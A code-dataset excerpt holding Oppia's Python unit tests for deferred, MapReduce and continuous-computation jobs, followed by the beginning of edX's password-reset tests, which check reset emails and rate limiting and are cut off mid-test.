self.old_property_3 def method_depends_on_new_property(self): self.new_property = 12 print(self.new_property_2)
apache-2.0
MaximLich/oppia
core/jobs_test.py
13
34314
# coding: utf-8 # # Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for long running jobs and continuous computations.""" import ast from core import jobs from core import jobs_registry from core.domain import event_services from core.domain import exp_domain from core.domain import exp_services from core.platform import models from core.tests import test_utils import feconf from google.appengine.ext import ndb (base_models, exp_models, stats_models) = models.Registry.import_models([ models.NAMES.base_model, models.NAMES.exploration, models.NAMES.statistics]) taskqueue_services = models.Registry.import_taskqueue_services() transaction_services = models.Registry.import_transaction_services() JOB_FAILED_MESSAGE = 'failed (as expected)' class DummyJobManager(jobs.BaseDeferredJobManager): @classmethod def _run(cls, additional_job_params): return 'output' class AnotherDummyJobManager(jobs.BaseDeferredJobManager): @classmethod def _run(cls, additional_job_params): return 'output' class DummyJobManagerWithParams(jobs.BaseDeferredJobManager): @classmethod def _run(cls, additional_job_params): return additional_job_params['correct'] class DummyFailingJobManager(jobs.BaseDeferredJobManager): @classmethod def _run(cls, additional_job_params): raise Exception(JOB_FAILED_MESSAGE) class JobWithNoRunMethodManager(jobs.BaseDeferredJobManager): pass class JobManagerUnitTests(test_utils.GenericTestBase): """Test basic job manager operations.""" def test_create_new(self): """Test the creation of a new job.""" job_id = DummyJobManager.create_new() self.assertTrue(job_id.startswith('DummyJob')) self.assertEqual( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_NEW) self.assertIsNone(DummyJobManager.get_time_queued_msec(job_id)) self.assertIsNone(DummyJobManager.get_time_started_msec(job_id)) self.assertIsNone(DummyJobManager.get_time_finished_msec(job_id)) self.assertIsNone(DummyJobManager.get_metadata(job_id)) self.assertIsNone(DummyJobManager.get_output(job_id)) self.assertIsNone(DummyJobManager.get_error(job_id)) self.assertFalse(DummyJobManager.is_active(job_id)) self.assertFalse(DummyJobManager.has_finished(job_id)) def test_enqueue_job(self): """Test the enqueueing of a job.""" job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.assertEqual( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_QUEUED) self.assertIsNotNone(DummyJobManager.get_time_queued_msec(job_id)) self.assertIsNone(DummyJobManager.get_output(job_id)) def test_failure_for_job_enqueued_using_wrong_manager(self): job_id = DummyJobManager.create_new() with self.assertRaisesRegexp(Exception, 'Invalid job type'): AnotherDummyJobManager.enqueue(job_id) def test_failure_for_job_with_no_run_method(self): job_id = JobWithNoRunMethodManager.create_new() JobWithNoRunMethodManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) with self.assertRaisesRegexp(Exception, 'NotImplementedError'): self.process_and_flush_pending_tasks() def test_complete_job(self): job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.process_and_flush_pending_tasks() self.assertEqual( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_COMPLETED) time_queued_msec = DummyJobManager.get_time_queued_msec(job_id) time_started_msec = DummyJobManager.get_time_started_msec(job_id) time_finished_msec = DummyJobManager.get_time_finished_msec(job_id) self.assertIsNotNone(time_queued_msec) self.assertIsNotNone(time_started_msec) self.assertIsNotNone(time_finished_msec) self.assertLess(time_queued_msec, time_started_msec) self.assertLess(time_started_msec, time_finished_msec) metadata = DummyJobManager.get_metadata(job_id) output = DummyJobManager.get_output(job_id) error = DummyJobManager.get_error(job_id) self.assertIsNone(metadata) self.assertEqual(output, 'output') self.assertIsNone(error) self.assertFalse(DummyJobManager.is_active(job_id)) self.assertTrue(DummyJobManager.has_finished(job_id)) def test_deferred_job_with_additional_params(self): """Test the enqueueing of a job with additional parameters.""" job_id_1 = DummyJobManagerWithParams.create_new() DummyJobManagerWithParams.enqueue( job_id_1, additional_job_params={'random': 3, 'correct': 60}) job_id_2 = DummyJobManagerWithParams.create_new() DummyJobManagerWithParams.enqueue( job_id_2, additional_job_params={'random': 20, 'correct': 25}) self.assertEqual(self.count_jobs_in_taskqueue(), 2) self.process_and_flush_pending_tasks() self.assertTrue(DummyJobManagerWithParams.has_finished(job_id_1)) self.assertEqual(DummyJobManagerWithParams.get_output(job_id_1), 60) self.assertTrue(DummyJobManagerWithParams.has_finished(job_id_2)) self.assertEqual(DummyJobManagerWithParams.get_output(job_id_2), 25) def test_job_failure(self): job_id = DummyFailingJobManager.create_new() DummyFailingJobManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) with self.assertRaisesRegexp(Exception, 'Task failed'): self.process_and_flush_pending_tasks() self.assertEqual( DummyFailingJobManager.get_status_code(job_id), jobs.STATUS_CODE_FAILED) time_queued_msec = DummyFailingJobManager.get_time_queued_msec(job_id) time_started_msec = DummyFailingJobManager.get_time_started_msec( job_id) time_finished_msec = DummyFailingJobManager.get_time_finished_msec( job_id) self.assertIsNotNone(time_queued_msec) self.assertIsNotNone(time_started_msec) self.assertIsNotNone(time_finished_msec) self.assertLess(time_queued_msec, time_started_msec) self.assertLess(time_started_msec, time_finished_msec) metadata = DummyFailingJobManager.get_metadata(job_id) output = DummyFailingJobManager.get_output(job_id) error = DummyFailingJobManager.get_error(job_id) self.assertIsNone(metadata) self.assertIsNone(output) self.assertIn(JOB_FAILED_MESSAGE, error) self.assertFalse(DummyFailingJobManager.is_active(job_id)) self.assertTrue(DummyFailingJobManager.has_finished(job_id)) def test_status_code_transitions(self): """Test that invalid status code transitions are caught.""" job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) DummyJobManager.register_start(job_id) DummyJobManager.register_completion(job_id, 'output') with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyJobManager.enqueue(job_id) with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyJobManager.register_completion(job_id, 'output') with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyJobManager.register_failure(job_id, 'error') def test_different_jobs_are_independent(self): job_id = DummyJobManager.create_new() another_job_id = AnotherDummyJobManager.create_new() DummyJobManager.enqueue(job_id) DummyJobManager.register_start(job_id) AnotherDummyJobManager.enqueue(another_job_id) self.assertEqual( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_STARTED) self.assertEqual( AnotherDummyJobManager.get_status_code(another_job_id), jobs.STATUS_CODE_QUEUED) def test_cannot_instantiate_jobs_from_abstract_base_classes(self): with self.assertRaisesRegexp( Exception, 'directly create a job using the abstract base' ): jobs.BaseJobManager.create_new() def test_cannot_enqueue_same_job_twice(self): job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyJobManager.enqueue(job_id) def test_can_enqueue_two_instances_of_the_same_job(self): job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) job_id_2 = DummyJobManager.create_new() DummyJobManager.enqueue(job_id_2) def test_cancel_kills_queued_job(self): job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) self.assertTrue(DummyJobManager.is_active(job_id)) DummyJobManager.cancel(job_id, 'admin_user_id') self.assertFalse(DummyJobManager.is_active(job_id)) self.assertEquals( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_CANCELED) self.assertIsNone(DummyJobManager.get_output(job_id)) self.assertEquals( DummyJobManager.get_error(job_id), 'Canceled by admin_user_id') def test_cancel_kills_started_job(self): job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) self.assertTrue(DummyJobManager.is_active(job_id)) DummyJobManager.register_start(job_id) # Cancel the job immediately after it has started. DummyJobManager.cancel(job_id, 'admin_user_id') # The job then finishes. with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyJobManager.register_completion(job_id, 'job_output') self.assertFalse(DummyJobManager.is_active(job_id)) self.assertEquals( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_CANCELED) # Note that no results are recorded for this job. self.assertIsNone(DummyJobManager.get_output(job_id)) self.assertEquals( DummyJobManager.get_error(job_id), 'Canceled by admin_user_id') def test_cancel_does_not_kill_completed_job(self): job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) self.assertTrue(DummyJobManager.is_active(job_id)) # Complete the job. self.process_and_flush_pending_tasks() self.assertFalse(DummyJobManager.is_active(job_id)) self.assertEquals( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_COMPLETED) # Cancel the job after it has finished. with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyJobManager.cancel(job_id, 'admin_user_id') # The job should still have 'completed' status. self.assertFalse(DummyJobManager.is_active(job_id)) self.assertEquals( DummyJobManager.get_status_code(job_id), jobs.STATUS_CODE_COMPLETED) self.assertEquals(DummyJobManager.get_output(job_id), 'output') self.assertIsNone(DummyJobManager.get_error(job_id)) def test_cancel_does_not_kill_failed_job(self): job_id = DummyFailingJobManager.create_new() DummyFailingJobManager.enqueue(job_id) self.assertTrue(DummyFailingJobManager.is_active(job_id)) with self.assertRaisesRegexp(Exception, 'Task failed'): self.process_and_flush_pending_tasks() self.assertFalse(DummyFailingJobManager.is_active(job_id)) self.assertEquals( DummyFailingJobManager.get_status_code(job_id), jobs.STATUS_CODE_FAILED) # Cancel the job after it has finished. with self.assertRaisesRegexp(Exception, 'Invalid status code change'): DummyFailingJobManager.cancel(job_id, 'admin_user_id') # The job should still have 'failed' status. self.assertFalse(DummyFailingJobManager.is_active(job_id)) self.assertEquals( DummyFailingJobManager.get_status_code(job_id), jobs.STATUS_CODE_FAILED) self.assertIsNone(DummyFailingJobManager.get_output(job_id)) self.assertIn( 'raise Exception', DummyFailingJobManager.get_error(job_id)) def test_cancelling_multiple_unfinished_jobs(self): job1_id = DummyJobManager.create_new() DummyJobManager.enqueue(job1_id) job2_id = DummyJobManager.create_new() DummyJobManager.enqueue(job2_id) DummyJobManager.register_start(job1_id) DummyJobManager.register_start(job2_id) DummyJobManager.cancel_all_unfinished_jobs('admin_user_id') self.assertFalse(DummyJobManager.is_active(job1_id)) self.assertFalse(DummyJobManager.is_active(job2_id)) self.assertEquals( DummyJobManager.get_status_code(job1_id), jobs.STATUS_CODE_CANCELED) self.assertEquals( DummyJobManager.get_status_code(job2_id), jobs.STATUS_CODE_CANCELED) self.assertIsNone(DummyJobManager.get_output(job1_id)) self.assertIsNone(DummyJobManager.get_output(job2_id)) self.assertEquals( 'Canceled by admin_user_id', DummyJobManager.get_error(job1_id)) self.assertEquals( 'Canceled by admin_user_id', DummyJobManager.get_error(job2_id)) def test_cancelling_one_unfinished_job(self): job1_id = DummyJobManager.create_new() DummyJobManager.enqueue(job1_id) job2_id = DummyJobManager.create_new() DummyJobManager.enqueue(job2_id) DummyJobManager.register_start(job1_id) DummyJobManager.register_start(job2_id) DummyJobManager.cancel(job1_id, 'admin_user_id') with self.assertRaisesRegexp(Exception, 'Invalid status code change'): self.process_and_flush_pending_tasks() DummyJobManager.register_completion(job2_id, 'output') self.assertFalse(DummyJobManager.is_active(job1_id)) self.assertFalse(DummyJobManager.is_active(job2_id)) self.assertEquals( DummyJobManager.get_status_code(job1_id), jobs.STATUS_CODE_CANCELED) self.assertEquals( DummyJobManager.get_status_code(job2_id), jobs.STATUS_CODE_COMPLETED) self.assertIsNone(DummyJobManager.get_output(job1_id)) self.assertEquals(DummyJobManager.get_output(job2_id), 'output') self.assertEquals( 'Canceled by admin_user_id', DummyJobManager.get_error(job1_id)) self.assertIsNone(DummyJobManager.get_error(job2_id)) SUM_MODEL_ID = 'all_data_id' class NumbersModel(ndb.Model): number = ndb.IntegerProperty() class SumModel(ndb.Model): total = ndb.IntegerProperty(default=0) failed = ndb.BooleanProperty(default=False) class TestDeferredJobManager(jobs.BaseDeferredJobManager): """Base class for testing deferred jobs.""" pass class TestAdditionJobManager(TestDeferredJobManager): """Test job that sums all NumbersModel data. The result is stored in a SumModel entity with id SUM_MODEL_ID. """ @classmethod def _run(cls, additional_job_params): total = sum([ numbers_model.number for numbers_model in NumbersModel.query()]) SumModel(id=SUM_MODEL_ID, total=total).put() class FailingAdditionJobManager(TestDeferredJobManager): """Test job that stores stuff in SumModel and then fails.""" @classmethod def _run(cls, additional_job_params): total = sum([ numbers_model.number for numbers_model in NumbersModel.query()]) SumModel(id=SUM_MODEL_ID, total=total).put() raise Exception('Oops, I failed.') @classmethod def _post_failure_hook(cls, job_id): model = SumModel.get_by_id(SUM_MODEL_ID) model.failed = True model.put() class DatastoreJobIntegrationTests(test_utils.GenericTestBase): """Tests the behavior of a job that affects data in the datastore. This job gets all NumbersModel instances and sums their values, and puts the summed values in a SumModel instance with id SUM_MODEL_ID. The computation is redone from scratch each time the job is run. """ def _get_stored_total(self): sum_model = SumModel.get_by_id(SUM_MODEL_ID) return sum_model.total if sum_model else 0 def _populate_data(self): """Populate the datastore with four NumbersModel instances.""" NumbersModel(number=1).put() NumbersModel(number=2).put() NumbersModel(number=1).put() NumbersModel(number=2).put() def test_sequential_jobs(self): self._populate_data() self.assertEqual(self._get_stored_total(), 0) TestAdditionJobManager.enqueue( TestAdditionJobManager.create_new()) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.process_and_flush_pending_tasks() self.assertEqual(self._get_stored_total(), 6) NumbersModel(number=3).put() TestAdditionJobManager.enqueue( TestAdditionJobManager.create_new()) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.process_and_flush_pending_tasks() self.assertEqual(self._get_stored_total(), 9) def test_multiple_enqueued_jobs(self): self._populate_data() TestAdditionJobManager.enqueue( TestAdditionJobManager.create_new()) NumbersModel(number=3).put() TestAdditionJobManager.enqueue( TestAdditionJobManager.create_new()) self.assertEqual(self.count_jobs_in_taskqueue(), 2) self.process_and_flush_pending_tasks() self.assertEqual(self._get_stored_total(), 9) def test_failing_job(self): self._populate_data() job_id = FailingAdditionJobManager.create_new() FailingAdditionJobManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) with self.assertRaisesRegexp( taskqueue_services.PermanentTaskFailure, 'Oops, I failed' ): self.process_and_flush_pending_tasks() # The work that the failing job did before it failed is still done. self.assertEqual(self._get_stored_total(), 6) # The post-failure hook should have run. self.assertTrue(SumModel.get_by_id(SUM_MODEL_ID).failed) self.assertTrue( FailingAdditionJobManager.get_status_code(job_id), jobs.STATUS_CODE_FAILED) class SampleMapReduceJobManager(jobs.BaseMapReduceJobManager): """Test job that counts the total number of explorations.""" @classmethod def entity_classes_to_map_over(cls): return [exp_models.ExplorationModel] @staticmethod def map(item): yield ('sum', 1) @staticmethod def reduce(key, values): yield (key, sum([int(value) for value in values])) class MapReduceJobIntegrationTests(test_utils.GenericTestBase): """Tests MapReduce jobs end-to-end.""" def setUp(self): """Create an exploration so that there is something to count.""" super(MapReduceJobIntegrationTests, self).setUp() exploration = exp_domain.Exploration.create_default_exploration( 'exp_id') exp_services.save_new_exploration('owner_id', exploration) self.process_and_flush_pending_tasks() def test_count_all_explorations(self): job_id = SampleMapReduceJobManager.create_new() SampleMapReduceJobManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.process_and_flush_pending_tasks() self.assertEqual( SampleMapReduceJobManager.get_output(job_id), [['sum', 1]]) self.assertEqual( SampleMapReduceJobManager.get_status_code(job_id), jobs.STATUS_CODE_COMPLETED) class JobRegistryTests(test_utils.GenericTestBase): """Tests job registry.""" def test_each_one_off_class_is_subclass_of_base_job_manager(self): for klass in jobs_registry.ONE_OFF_JOB_MANAGERS: self.assertTrue(issubclass(klass, jobs.BaseJobManager)) def test_each_one_off_class_is_not_abstract(self): for klass in jobs_registry.ONE_OFF_JOB_MANAGERS: self.assertFalse(klass._is_abstract()) # pylint: disable=protected-access def test_validity_of_each_continuous_computation_class(self): for klass in jobs_registry.ALL_CONTINUOUS_COMPUTATION_MANAGERS: self.assertTrue( issubclass(klass, jobs.BaseContinuousComputationManager)) event_types_listened_to = klass.get_event_types_listened_to() self.assertTrue(isinstance(event_types_listened_to, list)) for event_type in event_types_listened_to: self.assertTrue(isinstance(event_type, basestring)) self.assertTrue(issubclass( event_services.Registry.get_event_class_by_type( event_type), event_services.BaseEventHandler)) rdc = klass._get_realtime_datastore_class() # pylint: disable=protected-access self.assertTrue(issubclass( rdc, jobs.BaseRealtimeDatastoreClassForContinuousComputations)) # The list of allowed base classes. This can be extended as the # need arises, though we may also want to implement # _get_continuous_computation_class() and # _entity_created_before_job_queued() for other base classes # that are added to this list. allowed_base_batch_job_classes = [ jobs.BaseMapReduceJobManagerForContinuousComputations] self.assertTrue(any([ issubclass(klass._get_batch_job_manager_class(), superclass) # pylint: disable=protected-access for superclass in allowed_base_batch_job_classes])) class JobQueriesTests(test_utils.GenericTestBase): """Tests queries for jobs.""" def test_get_data_for_recent_jobs(self): self.assertEqual(jobs.get_data_for_recent_jobs(), []) job_id = DummyJobManager.create_new() DummyJobManager.enqueue(job_id) recent_jobs = jobs.get_data_for_recent_jobs() self.assertEqual(len(recent_jobs), 1) self.assertDictContainsSubset({ 'id': job_id, 'status_code': jobs.STATUS_CODE_QUEUED, 'job_type': 'DummyJobManager', 'is_cancelable': True, 'error': None }, recent_jobs[0]) class TwoClassesMapReduceJobManager(jobs.BaseMapReduceJobManager): """A test job handler that counts entities in two datastore classes.""" @classmethod def entity_classes_to_map_over(cls): return [exp_models.ExplorationModel, exp_models.ExplorationRightsModel] @staticmethod def map(item): yield ('sum', 1) @staticmethod def reduce(key, values): yield [key, sum([int(value) for value in values])] class TwoClassesMapReduceJobIntegrationTests(test_utils.GenericTestBase): """Tests MapReduce jobs using two classes end-to-end.""" def setUp(self): """Create an exploration so that there is something to count.""" super(TwoClassesMapReduceJobIntegrationTests, self).setUp() exploration = exp_domain.Exploration.create_default_exploration( 'exp_id') # Note that this ends up creating an entry in the # ExplorationRightsModel as well. exp_services.save_new_exploration('owner_id', exploration) self.process_and_flush_pending_tasks() def test_count_entities(self): self.assertEqual(exp_models.ExplorationModel.query().count(), 1) self.assertEqual(exp_models.ExplorationRightsModel.query().count(), 1) job_id = TwoClassesMapReduceJobManager.create_new() TwoClassesMapReduceJobManager.enqueue(job_id) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.process_and_flush_pending_tasks() self.assertEqual( TwoClassesMapReduceJobManager.get_output(job_id), [['sum', 2]]) self.assertEqual( TwoClassesMapReduceJobManager.get_status_code(job_id), jobs.STATUS_CODE_COMPLETED) class StartExplorationRealtimeModel( jobs.BaseRealtimeDatastoreClassForContinuousComputations): count = ndb.IntegerProperty(default=0) class StartExplorationMRJobManager( jobs.BaseMapReduceJobManagerForContinuousComputations): @classmethod def _get_continuous_computation_class(cls): return StartExplorationEventCounter @classmethod def entity_classes_to_map_over(cls): return [stats_models.StartExplorationEventLogEntryModel] @staticmethod def map(item): current_class = StartExplorationMRJobManager if current_class._entity_created_before_job_queued(item): # pylint: disable=protected-access yield (item.exploration_id, { 'event_type': item.event_type, }) @staticmethod def reduce(key, stringified_values): started_count = 0 for value_str in stringified_values: value = ast.literal_eval(value_str) if value['event_type'] == feconf.EVENT_TYPE_START_EXPLORATION: started_count += 1 stats_models.ExplorationAnnotationsModel( id=key, num_starts=started_count).put() class StartExplorationEventCounter(jobs.BaseContinuousComputationManager): """A continuous-computation job that counts 'start exploration' events. This class should only be used in tests. """ @classmethod def get_event_types_listened_to(cls): return [feconf.EVENT_TYPE_START_EXPLORATION] @classmethod def _get_realtime_datastore_class(cls): return StartExplorationRealtimeModel @classmethod def _get_batch_job_manager_class(cls): return StartExplorationMRJobManager @classmethod def _kickoff_batch_job_after_previous_one_ends(cls): """Override this method so that it does not immediately start a new MapReduce job. Non-test subclasses should not do this.""" pass @classmethod def _handle_incoming_event( cls, active_realtime_layer, event_type, exp_id, unused_exp_version, unused_state_name, unused_session_id, unused_params, unused_play_type): def _increment_counter(): realtime_class = cls._get_realtime_datastore_class() realtime_model_id = realtime_class.get_realtime_id( active_realtime_layer, exp_id) realtime_model = realtime_class.get( realtime_model_id, strict=False) if realtime_model is None: realtime_class( id=realtime_model_id, count=1, realtime_layer=active_realtime_layer).put() else: realtime_model.count += 1 realtime_model.put() transaction_services.run_in_transaction(_increment_counter) # Public query method. @classmethod def get_count(cls, exploration_id): """Return the number of 'start exploration' events received. Answers the query by combining the existing MR job output and the active realtime_datastore_class. """ mr_model = stats_models.ExplorationAnnotationsModel.get( exploration_id, strict=False) realtime_model = cls._get_realtime_datastore_class().get( cls.get_active_realtime_layer_id(exploration_id), strict=False) answer = 0 if mr_model is not None: answer += mr_model.num_starts if realtime_model is not None: answer += realtime_model.count return answer class ContinuousComputationTests(test_utils.GenericTestBase): """Tests continuous computations for 'start exploration' events.""" EXP_ID = 'exp_id' ALL_CC_MANAGERS_FOR_TESTS = [ StartExplorationEventCounter] def setUp(self): """Create an exploration and register the event listener manually.""" super(ContinuousComputationTests, self).setUp() exploration = exp_domain.Exploration.create_default_exploration( self.EXP_ID) exp_services.save_new_exploration('owner_id', exploration) self.process_and_flush_pending_tasks() def test_continuous_computation_workflow(self): """An integration test for continuous computations.""" with self.swap( jobs_registry, 'ALL_CONTINUOUS_COMPUTATION_MANAGERS', self.ALL_CC_MANAGERS_FOR_TESTS ): self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 0) # Record an event. This will put the event in the task queue. event_services.StartExplorationEventHandler.record( self.EXP_ID, 1, feconf.DEFAULT_INIT_STATE_NAME, 'session_id', {}, feconf.PLAY_TYPE_NORMAL) self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 0) self.assertEqual(self.count_jobs_in_taskqueue(), 1) # When the task queue is flushed, the data is recorded in the two # realtime layers. self.process_and_flush_pending_tasks() self.assertEqual(self.count_jobs_in_taskqueue(), 0) self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 1) self.assertEqual(StartExplorationRealtimeModel.get( '0:%s' % self.EXP_ID).count, 1) self.assertEqual(StartExplorationRealtimeModel.get( '1:%s' % self.EXP_ID).count, 1) # The batch job has not run yet, so no entity for self.EXP_ID will # have been created in the batch model yet. with self.assertRaises(base_models.BaseModel.EntityNotFoundError): stats_models.ExplorationAnnotationsModel.get(self.EXP_ID) # Launch the batch computation. StartExplorationEventCounter.start_computation() # Data in realtime layer 0 is still there. self.assertEqual(StartExplorationRealtimeModel.get( '0:%s' % self.EXP_ID).count, 1) # Data in realtime layer 1 has been deleted. self.assertIsNone(StartExplorationRealtimeModel.get( '1:%s' % self.EXP_ID, strict=False)) self.assertEqual(self.count_jobs_in_taskqueue(), 1) self.process_and_flush_pending_tasks() self.assertEqual( stats_models.ExplorationAnnotationsModel.get( self.EXP_ID).num_starts, 1) # The overall count is still 1. self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 1) # Data in realtime layer 0 has been deleted. self.assertIsNone(StartExplorationRealtimeModel.get( '0:%s' % self.EXP_ID, strict=False)) # Data in realtime layer 1 has been deleted. self.assertIsNone(StartExplorationRealtimeModel.get( '1:%s' % self.EXP_ID, strict=False)) def test_events_coming_in_while_batch_job_is_running(self): with self.swap( jobs_registry, 'ALL_CONTINUOUS_COMPUTATION_MANAGERS', self.ALL_CC_MANAGERS_FOR_TESTS ): # Currently no events have been recorded. self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 0) # Enqueue the batch computation. (It is running on 0 events.) StartExplorationEventCounter._kickoff_batch_job() # pylint: disable=protected-access # Record an event while this job is in the queue. Simulate # this by directly calling on_incoming_event(), because using # StartExplorationEventHandler.record() would just put the event # in the task queue, which we don't want to flush yet. event_services.StartExplorationEventHandler._handle_event( # pylint: disable=protected-access self.EXP_ID, 1, feconf.DEFAULT_INIT_STATE_NAME, 'session_id', {}, feconf.PLAY_TYPE_NORMAL) StartExplorationEventCounter.on_incoming_event( event_services.StartExplorationEventHandler.EVENT_TYPE, self.EXP_ID, 1, feconf.DEFAULT_INIT_STATE_NAME, 'session_id', {}, feconf.PLAY_TYPE_NORMAL) # The overall count is now 1. self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 1) # Finish the job. self.process_and_flush_pending_tasks() # When the batch job completes, the overall count is still 1. self.assertEqual( StartExplorationEventCounter.get_count(self.EXP_ID), 1) # The batch job result should still be 0, since the event arrived # after the batch job started. with self.assertRaises(base_models.BaseModel.EntityNotFoundError): stats_models.ExplorationAnnotationsModel.get(self.EXP_ID) # TODO(sll): When we have some concrete ContinuousComputations running in # production, add an integration test to ensure that the registration of event # handlers in the main codebase is happening correctly.
apache-2.0
mushtaqak/edx-platform
common/djangoapps/student/tests/test_reset_password.py
54
10790
""" Test the various password reset flows """ import json import re import unittest from django.core.cache import cache from django.conf import settings from django.test import TestCase from django.test.client import RequestFactory from django.contrib.auth.models import User from django.contrib.auth.hashers import UNUSABLE_PASSWORD from django.contrib.auth.tokens import default_token_generator from django.utils.http import int_to_base36 from mock import Mock, patch import ddt from student.views import password_reset, password_reset_confirm_wrapper, SETTING_CHANGE_INITIATED from student.tests.factories import UserFactory from student.tests.test_email import mock_render_to_string from util.testing import EventTestMixin from test_microsite import fake_site_name @ddt.ddt class ResetPasswordTests(EventTestMixin, TestCase): """ Tests that clicking reset password sends email, and doesn't activate the user """ request_factory = RequestFactory() def setUp(self): super(ResetPasswordTests, self).setUp('student.views.tracker') self.user = UserFactory.create() self.user.is_active = False self.user.save() self.token = default_token_generator.make_token(self.user) self.uidb36 = int_to_base36(self.user.id) self.user_bad_passwd = UserFactory.create() self.user_bad_passwd.is_active = False self.user_bad_passwd.password = UNUSABLE_PASSWORD self.user_bad_passwd.save() @patch('student.views.render_to_string', Mock(side_effect=mock_render_to_string, autospec=True)) def test_user_bad_password_reset(self): """Tests password reset behavior for user with password marked UNUSABLE_PASSWORD""" bad_pwd_req = self.request_factory.post('/password_reset/', {'email': self.user_bad_passwd.email}) bad_pwd_resp = password_reset(bad_pwd_req) # If they've got an unusable password, we return a successful response code self.assertEquals(bad_pwd_resp.status_code, 200) obj = json.loads(bad_pwd_resp.content) self.assertEquals(obj, { 'success': True, 'value': "('registration/password_reset_done.html', [])", }) self.assert_no_events_were_emitted() @patch('student.views.render_to_string', Mock(side_effect=mock_render_to_string, autospec=True)) def test_nonexist_email_password_reset(self): """Now test the exception cases with of reset_password called with invalid email.""" bad_email_req = self.request_factory.post('/password_reset/', {'email': self.user.email + "makeItFail"}) bad_email_resp = password_reset(bad_email_req) # Note: even if the email is bad, we return a successful response code # This prevents someone potentially trying to "brute-force" find out which # emails are and aren't registered with edX self.assertEquals(bad_email_resp.status_code, 200) obj = json.loads(bad_email_resp.content) self.assertEquals(obj, { 'success': True, 'value': "('registration/password_reset_done.html', [])", }) self.assert_no_events_were_emitted() @patch('student.views.render_to_string', Mock(side_effect=mock_render_to_string, autospec=True)) def test_password_reset_ratelimited(self): """ Try (and fail) resetting password 30 times in a row on an non-existant email address """ cache.clear() for i in xrange(30): good_req = self.request_factory.post('/password_reset/', { 'email': 'thisdoesnotexist{0}@foo.com'.format(i) }) good_resp = password_reset(good_req) self.assertEquals(good_resp.status_code, 200) # then the rate limiter should kick in and give a HttpForbidden response bad_req = self.request_factory.post('/password_reset/', {'email': '[email protected]'}) bad_resp = password_reset(bad_req) self.assertEquals(bad_resp.status_code, 403) self.assert_no_events_were_emitted() cache.clear() @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', "Test only valid in LMS") @patch('django.core.mail.send_mail') @patch('student.views.render_to_string', Mock(side_effect=mock_render_to_string, autospec=True)) def test_reset_password_email(self, send_email): """Tests contents of reset password email, and that user is not active""" good_req = self.request_factory.post('/password_reset/', {'email': self.user.email}) good_req.user = self.user good_resp = password_reset(good_req) self.assertEquals(good_resp.status_code, 200) obj = json.loads(good_resp.content) self.assertEquals(obj, { 'success': True, 'value': "('registration/password_reset_done.html', [])", }) (subject, msg, from_addr, to_addrs) = send_email.call_args[0] self.assertIn("Password reset", subject) self.assertIn("You're receiving this e-mail because you requested a password reset", msg) self.assertEquals(from_addr, settings.DEFAULT_FROM_EMAIL) self.assertEquals(len(to_addrs), 1) self.assertIn(self.user.email, to_addrs) self.assert_event_emitted( SETTING_CHANGE_INITIATED, user_id=self.user.id, setting=u'password', old=None, new=None, ) #test that the user is not active self.user = User.objects.get(pk=self.user.pk) self.assertFalse(self.user.is_active) re.search(r'password_reset_confirm/(?P<uidb36>[0-9A-Za-z]+)-(?P<token>.+)/', msg).groupdict() @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', "Test only valid in LMS") @patch('django.core.mail.send_mail') @ddt.data((False, 'http://'), (True, 'https://')) @ddt.unpack def test_reset_password_email_https(self, is_secure, protocol, send_email): """ Tests that the right url protocol is included in the reset password link """ req = self.request_factory.post( '/password_reset/', {'email': self.user.email} ) req.is_secure = Mock(return_value=is_secure) req.user = self.user password_reset(req) _, msg, _, _ = send_email.call_args[0] expected_msg = "Please go to the following page and choose a new password:\n\n" + protocol self.assertIn(expected_msg, msg) self.assert_event_emitted( SETTING_CHANGE_INITIATED, user_id=self.user.id, setting=u'password', old=None, new=None ) @unittest.skipUnless(settings.ROOT_URLCONF == 'lms.urls', "Test only valid in LMS") @patch('django.core.mail.send_mail') @ddt.data(('Crazy Awesome Site', 'Crazy Awesome Site'), (None, 'edX')) @ddt.unpack def test_reset_password_email_domain(self, domain_override, platform_name, send_email): """ Tests that the right url domain and platform name is included in the reset password email """ with 